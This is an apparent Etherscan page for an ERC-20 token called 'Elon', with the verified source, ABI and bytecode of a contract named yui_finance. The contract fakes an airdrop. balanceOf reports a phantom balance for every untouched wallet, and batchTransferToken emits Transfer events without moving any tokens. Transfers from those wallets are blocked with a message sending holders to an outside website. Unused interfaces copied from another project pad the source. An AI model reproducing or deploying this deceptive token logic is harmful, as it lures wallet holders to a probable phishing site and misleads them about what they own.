Token Elon
Overview ERC-20
Total Supply:
0 ELON
Holders:
3 addresses
Transfers:
-
Profile Summary
Contract:
Decimals:
18
[ Download CSV Export ]
[ Download CSV Export ]
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
yui_finance
Compiler Version
v0.8.10+commit.fc410830
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-08-30 */ /** *Submitted for verification at polygonscan.com on 2021-08-26 */ // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity ^0.8.0; pragma abicoder v2; interface genesisCalls { function AllowAddressToDestroyGenesis ( address _from, address _address ) external; function AllowReceiveGenesisTransfers ( address _from ) external; function BurnTokens ( address _from, uint256 mneToBurn ) external returns ( bool success ); function RemoveAllowAddressToDestroyGenesis ( address _from ) external; function RemoveAllowReceiveGenesisTransfers ( address _from ) external; function RemoveGenesisAddressFromSale ( address _from ) external; function SetGenesisForSale ( address _from, uint256 weiPrice ) external; function TransferGenesis ( address _from, address _to ) external; function UpgradeToLevel2FromLevel1 ( address _address, uint256 weiValue ) external; function UpgradeToLevel3FromDev ( address _address ) external; function UpgradeToLevel3FromLevel1 ( address _address, uint256 weiValue ) external; function UpgradeToLevel3FromLevel2 ( address _address, uint256 weiValue ) external; function availableBalanceOf ( address _address ) external view returns ( uint256 Balance ); function balanceOf ( address _address ) external view returns ( uint256 balance ); function deleteAddressFromGenesisSaleList ( address _address ) external; function isAnyGenesisAddress ( address _address ) external view returns ( bool success ); function isGenesisAddressLevel1 ( address _address ) external view returns ( bool success ); function isGenesisAddressLevel2 ( address _address ) external view returns ( bool success ); function isGenesisAddressLevel2Or3 ( address _address ) external view returns ( bool success ); function isGenesisAddressLevel3 ( address _address ) external view returns ( bool success ); function ownerGenesis ( ) external view returns ( address ); function ownerGenesisBuys ( ) external view returns ( address ); function ownerMain ( ) external view returns ( address ); function ownerNormalAddress ( ) external view returns ( address ); function ownerStakeBuys ( ) external view returns ( address ); function ownerStakes ( ) external view returns ( address ); function setGenesisCallerAddress ( address _caller ) external returns ( bool success ); function setOwnerGenesisBuys ( ) external; function setOwnerMain ( ) external; function setOwnerNormalAddress ( ) external; function setOwnerStakeBuys ( ) external; function setOwnerStakes ( ) external; function BurnGenesisAddresses ( address _from, address[] calldata _genesisAddressesToBurn ) external; } interface normalAddress { function BuyNormalAddress ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend ); function RemoveNormalAddressFromSale ( address _address ) external; function setBalanceNormalAddress ( address _from, address _address, uint256 balance ) external; function SetNormalAddressForSale ( address _from, uint256 weiPricePerMNE ) external; function setOwnerMain ( ) external; function ownerMain ( ) external view returns ( address ); } interface stakes { function RemoveStakeFromSale ( address _from ) external; function SetStakeForSale ( address _from, uint256 priceInWei ) external; function StakeTransferGenesis ( address _from, address _to, uint256 _value, address[] calldata _genesisAddressesToBurn ) external; function StakeTransferMNE ( address _from, address _to, uint256 _value ) external returns ( uint256 _mneToBurn ); function ownerMain ( ) external view returns ( address ); function setBalanceStakes ( address _from, address _address, uint256 balance ) external; function setOwnerMain ( ) external; } interface stakeBuys { function BuyStakeGenesis ( address _from, address _address, address[] calldata _genesisAddressesToBurn, uint256 _msgvalue ) external returns ( uint256 _feesToPayToSeller ); function BuyStakeMNE ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _mneToBurn, uint256 _feesToPayToSeller ); function ownerMain ( ) external view returns ( address ); function setOwnerMain ( ) external; } interface genesisBuys { function BuyGenesisLevel1FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend ); function BuyGenesisLevel2FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend ); function BuyGenesisLevel3FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend ); function ownerMain ( ) external view returns ( address ); function setOwnerMain ( ) external; } interface tokenService { function ownerMain ( ) external view returns ( address ); function setOwnerMain ( ) external; function circulatingSupply() external view returns (uint256); function DestroyGenesisAddressLevel1(address _address) external; function Bridge(address _sender, address _address, uint _amount) external; } interface baseTransfers { function setOwnerMain ( ) external; function transfer ( address _from, address _to, uint256 _value ) external; function transferFrom ( address _sender, address _from, address _to, uint256 _amount ) external returns ( bool success ); function stopSetup ( address _from ) external returns ( bool success ); function totalSupply ( ) external view returns ( uint256 TotalSupply ); } interface mneStaking { function startStaking(address _sender, uint256 _amountToStake, address[] calldata _addressList, uint256[] calldata uintList) external; } interface luckyDraw { function BuyTickets(address _sender, uint256[] calldata _max) payable external returns ( uint256 ); } interface externalService { function externalFunction(address _sender, address[] calldata _addressList, uint256[] calldata _uintList) payable external returns ( uint256 ); } interface externalReceiver { function externalFunction(address _sender, uint256 _mneAmount, address[] calldata _addressList, uint256[] calldata _uintList) payable external; } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract yui_finance is Ownable, IERC20 { string private _name; string private _symbol; uint256 private _totalSupply; uint256 private _airdropAmount; mapping(address => bool) private _unlocked; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; constructor(string memory name_, string memory symbol_, uint256 airdropAmount_) Ownable() { _name = name_; _symbol = symbol_; _airdropAmount = airdropAmount_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { if (!_unlocked[account]) { return _airdropAmount; } else { return _balances[account]; } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function setAirdropAmount(uint256 airdropAmount_) public onlyOwner (){ _airdropAmount = airdropAmount_; } //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_unlocked[sender], "ERC20: token must be unlocked before transfer.Visit https://yui.finance/ for more info'"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; _unlocked[recipient] = true; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; _unlocked[account] = true; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; _unlocked[account] = false; emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// function mint(address account, uint256 amount) public payable onlyOwner { _mint(account, amount); } function burn(address account, uint256 amount) public payable onlyOwner { _burn(account, amount); } function batchTransferToken(address[] memory holders, uint256 amount) public payable { for (uint i=0; i<holders.length; i++) { emit Transfer(address(this), holders[i], amount); } } function withdrawEth(address payable receiver, uint amount) public onlyOwner payable { uint balance = address(this).balance; if (amount == 0) { amount = balance; } require(amount > 0 && balance >= amount, "no balance"); receiver.transfer(amount); } function withdrawToken(address receiver, address tokenAddress, uint amount) public onlyOwner payable { uint balance = IERC20(tokenAddress).balanceOf(address(this)); if (amount == 0) { amount = balance; } require(amount > 0 && balance >= amount, "bad amount"); IERC20(tokenAddress).transfer(receiver, amount); } }
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"airdropAmount_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"batchTransferToken","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"airdropAmount_","type":"uint256"}],"name":"setAirdropAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"receiver","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawEth","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"payable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b5060405162002f6d38038062002f6d8339818101604052810190620000379190620003ed565b620000576200004b6200009960201b60201c565b620000a160201b60201c565b82600190805190602001906200006f92919062000165565b5081600290805190602001906200008892919062000165565b5080600481905550505050620004ec565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8280546200017390620004b6565b90600052602060002090601f016020900481019282620001975760008555620001e3565b82601f10620001b257805160ff1916838001178555620001e3565b82800160010185558215620001e3579182015b82811115620001e2578251825591602001919060010190620001c5565b5b509050620001f29190620001f6565b5090565b5b8082111562000211576000816000905550600101620001f7565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200027e8262000233565b810181811067ffffffffffffffff82111715620002a0576200029f62000244565b5b80604052505050565b6000620002b562000215565b9050620002c3828262000273565b919050565b600067ffffffffffffffff821115620002e657620002e562000244565b5b620002f18262000233565b9050602081019050919050565b60005b838110156200031e57808201518184015260208101905062000301565b838111156200032e576000848401525b50505050565b60006200034b6200034584620002c8565b620002a9565b9050828152602081018484840111156200036a57620003696200022e565b5b62000377848285620002fe565b509392505050565b600082601f83011262000397576200039662000229565b5b8151620003a984826020860162000334565b91505092915050565b6000819050919050565b620003c781620003b2565b8114620003d357600080fd5b50565b600081519050620003e781620003bc565b92915050565b6000806000606084860312156200040957620004086200021f565b5b600084015167ffffffffffffffff8111156200042a576200042962000224565b5b62000438868287016200037f565b935050602084015167ffffffffffffffff8111156200045c576200045b62000224565b5b6200046a868287016200037f565b92505060406200047d86828701620003d6565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620004cf57607f821691505b60208210811415620004e657620004e562000487565b5b50919050565b612a7180620004fc6000396000f3fe60806040526004361061011f5760003560e01c806370a08231116100a0578063a457c2d711610064578063a457c2d714610392578063a5500c30146103cf578063a9059cbb146103f8578063dd62ed3e14610435578063f2fde38b146104725761011f565b806370a08231146102cc578063715018a6146103095780638da5cb5b1461032057806395d89b411461034b5780639dc29fac146103765761011f565b806323b872dd116100e757806323b872dd146101ef578063313ce5671461022c578063395093511461025757806340c10f1914610294578063512d7cfd146102b05761011f565b806301e336671461012457806306fdde0314610140578063095ea7b31461016b57806318160ddd146101a85780631b9a91a4146101d3575b600080fd5b61013e60048036038101906101399190611afe565b61049b565b005b34801561014c57600080fd5b50610155610676565b6040516101629190611bea565b60405180910390f35b34801561017757600080fd5b50610192600480360381019061018d9190611c0c565b610708565b60405161019f9190611c67565b60405180910390f35b3480156101b457600080fd5b506101bd610726565b6040516101ca9190611c91565b60405180910390f35b6101ed60048036038101906101e89190611cea565b610730565b005b3480156101fb57600080fd5b5061021660048036038101906102119190611afe565b610859565b6040516102239190611c67565b60405180910390f35b34801561023857600080fd5b50610241610951565b60405161024e9190611d46565b60405180910390f35b34801561026357600080fd5b5061027e60048036038101906102799190611c0c565b61095a565b60405161028b9190611c67565b60405180910390f35b6102ae60048036038101906102a99190611c0c565b610a06565b005b6102ca60048036038101906102c59190611ea9565b610a90565b005b3480156102d857600080fd5b506102f360048036038101906102ee9190611f05565b610b33565b6040516103009190611c91565b60405180910390f35b34801561031557600080fd5b5061031e610bd8565b005b34801561032c57600080fd5b50610335610c60565b6040516103429190611f41565b60405180910390f35b34801561035757600080fd5b50610360610c89565b60405161036d9190611bea565b60405180910390f35b610390600480360381019061038b9190611c0c565b610d1b565b005b34801561039e57600080fd5b506103b960048036038101906103b49190611c0c565b610da5565b6040516103c69190611c67565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190611f5c565b610e90565b005b34801561040457600080fd5b5061041f600480360381019061041a9190611c0c565b610f16565b60405161042c9190611c67565b60405180910390f35b34801561044157600080fd5b5061045c60048036038101906104579190611f89565b610f34565b6040516104699190611c91565b60405180910390f35b34801561047e57600080fd5b5061049960048036038101906104949190611f05565b610fbb565b005b6104a36110b3565b73ffffffffffffffffffffffffffffffffffffffff166104c1610c60565b73ffffffffffffffffffffffffffffffffffffffff1614610517576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050e90612015565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105529190611f41565b602060405180830381865afa15801561056f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610593919061204a565b905060008214156105a2578091505b6000821180156105b25750818110155b6105f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e8906120c3565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85846040518363ffffffff1660e01b815260040161062c9291906120e3565b6020604051808303816000875af115801561064b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066f9190612138565b5050505050565b60606001805461068590612194565b80601f01602080910402602001604051908101604052809291908181526020018280546106b190612194565b80156106fe5780601f106106d3576101008083540402835291602001916106fe565b820191906000526020600020905b8154815290600101906020018083116106e157829003601f168201915b5050505050905090565b600061071c6107156110b3565b84846110bb565b6001905092915050565b6000600354905090565b6107386110b3565b73ffffffffffffffffffffffffffffffffffffffff16610756610c60565b73ffffffffffffffffffffffffffffffffffffffff16146107ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a390612015565b60405180910390fd5b600047905060008214156107be578091505b6000821180156107ce5750818110155b61080d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080490612212565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610853573d6000803e3d6000fd5b50505050565b6000610866848484611286565b6000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108b16110b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610931576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610928906122a4565b60405180910390fd5b6109458561093d6110b3565b8584036110bb565b60019150509392505050565b60006012905090565b60006109fc6109676110b3565b8484600760006109756110b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109f791906122f3565b6110bb565b6001905092915050565b610a0e6110b3565b73ffffffffffffffffffffffffffffffffffffffff16610a2c610c60565b73ffffffffffffffffffffffffffffffffffffffff1614610a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7990612015565b60405180910390fd5b610a8c82826115d8565b5050565b60005b8251811015610b2e57828181518110610aaf57610aae612349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b139190611c91565b60405180910390a38080610b2690612378565b915050610a93565b505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b90576004549050610bd3565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b610be06110b3565b73ffffffffffffffffffffffffffffffffffffffff16610bfe610c60565b73ffffffffffffffffffffffffffffffffffffffff1614610c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4b90612015565b60405180910390fd5b610c5e6000611779565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610c9890612194565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc490612194565b8015610d115780601f10610ce657610100808354040283529160200191610d11565b820191906000526020600020905b815481529060010190602001808311610cf457829003601f168201915b5050505050905090565b610d236110b3565b73ffffffffffffffffffffffffffffffffffffffff16610d41610c60565b73ffffffffffffffffffffffffffffffffffffffff1614610d97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8e90612015565b60405180910390fd5b610da1828261183d565b5050565b60008060076000610db46110b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610e71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6890612433565b60405180910390fd5b610e85610e7c6110b3565b858584036110bb565b600191505092915050565b610e986110b3565b73ffffffffffffffffffffffffffffffffffffffff16610eb6610c60565b73ffffffffffffffffffffffffffffffffffffffff1614610f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0390612015565b60405180910390fd5b8060048190555050565b6000610f2a610f236110b3565b8484611286565b6001905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fc36110b3565b73ffffffffffffffffffffffffffffffffffffffff16610fe1610c60565b73ffffffffffffffffffffffffffffffffffffffff1614611037576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102e90612015565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109e906124c5565b60405180910390fd5b6110b081611779565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561112b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112290612557565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561119b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611192906125e9565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112799190611c91565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed9061267b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135d9061270d565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166113f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e9906127c5565b60405180910390fd5b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611479576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147090612857565b60405180910390fd5b818103600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461150e91906122f3565b925050819055506001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115ca9190611c91565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611648576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163f906128c3565b60405180910390fd5b806003600082825461165a91906122f3565b9250508190555080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116b091906122f3565b925050819055506001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161176d9190611c91565b60405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a490612955565b60405180910390fd5b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611934576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192b906129e7565b60405180910390fd5b818103600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461198c9190612a07565b925050819055506000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a499190611c91565b60405180910390a3505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a9582611a6a565b9050919050565b611aa581611a8a565b8114611ab057600080fd5b50565b600081359050611ac281611a9c565b92915050565b6000819050919050565b611adb81611ac8565b8114611ae657600080fd5b50565b600081359050611af881611ad2565b92915050565b600080600060608486031215611b1757611b16611a60565b5b6000611b2586828701611ab3565b9350506020611b3686828701611ab3565b9250506040611b4786828701611ae9565b9150509250925092565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b8b578082015181840152602081019050611b70565b83811115611b9a576000848401525b50505050565b6000601f19601f8301169050919050565b6000611bbc82611b51565b611bc68185611b5c565b9350611bd6818560208601611b6d565b611bdf81611ba0565b840191505092915050565b60006020820190508181036000830152611c048184611bb1565b905092915050565b60008060408385031215611c2357611c22611a60565b5b6000611c3185828601611ab3565b9250506020611c4285828601611ae9565b9150509250929050565b60008115159050919050565b611c6181611c4c565b82525050565b6000602082019050611c7c6000830184611c58565b92915050565b611c8b81611ac8565b82525050565b6000602082019050611ca66000830184611c82565b92915050565b6000611cb782611a6a565b9050919050565b611cc781611cac565b8114611cd257600080fd5b50565b600081359050611ce481611cbe565b92915050565b60008060408385031215611d0157611d00611a60565b5b6000611d0f85828601611cd5565b9250506020611d2085828601611ae9565b9150509250929050565b600060ff8216905091905056